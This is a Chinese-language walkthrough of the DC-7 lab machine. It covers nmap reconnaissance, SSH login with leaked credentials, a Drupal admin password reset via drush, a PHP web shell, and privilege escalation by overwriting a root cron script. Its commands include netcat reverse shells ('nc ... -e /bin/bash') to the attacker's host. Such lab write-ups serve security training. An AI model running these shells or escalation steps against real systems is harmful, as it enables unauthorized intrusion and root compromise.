靶机信息
靶机地址:https://www.five86.com/dc-7.html
下载完成后,运行文件夹中的.ova文件即可安装靶机(vmware)
网络连接方式为NAT,kali与靶机为同一网段
信息搜集
nmap扫描网段,判断出靶机ip后对目标进行扫描
nmap -sn 192.168.200.0/24
nmap -A 192.168.200.134
访问下80端口,看了一些路径没什么发现
看到网页底部有个@DC7USER,百度搜了一下,找到了github上的项目
在config.php文件里找到了用户名和密码
漏洞利用
尝试登录网站失败,登录ssh成功
ssh 192.168.200.134 -l dc7user
看了下backups文件夹,查看文件是乱码,文件后缀名为.gpg,是一种加密格式
再看下mbox文件,提到了一个路径,应该跟计划任务有关
backups.sh脚本内容如下
没找到登录网站的密码,看了下站点是drupal的,可以通过drush命令来修改admin密码,需要在站点路径下使用,使用修改后的admin密码登录到网站
cd /var/www/html
drush user-password admin --password="admin"
# 将admin密码修改为admin
进入后台准备在首页文章处写入弹shell,写完后发现不支持php代码
查了下,还要手动安装下php,点击install new module,输入下方的url后,点击install
url:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装完成后,勾选上php filter,在最下面点install
这样就ok了
权限提升
在首页文章处编辑,写入shell,kali监听,刷新首页即可回弹kali
<?php system('nc 192.168.200.128 666 -e /bin/bash')?>
获取交互模式
python -c 'import pty;pty.spawn("/bin/sh")'
通过backups.sh来提权,这个文件会定时执行,属主为root属组为www-data且都有读写执行的权限
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh
还是先进入站点目录下输命令,由于定时任务大概15分钟执行一次,提权后需要等一会儿
cd /var/www/html
echo "nc 192.168.200.128 666 -e /bin/bash" > /opt/scripts/backups.sh
nc -lvp 666
回连成功后,拿到flag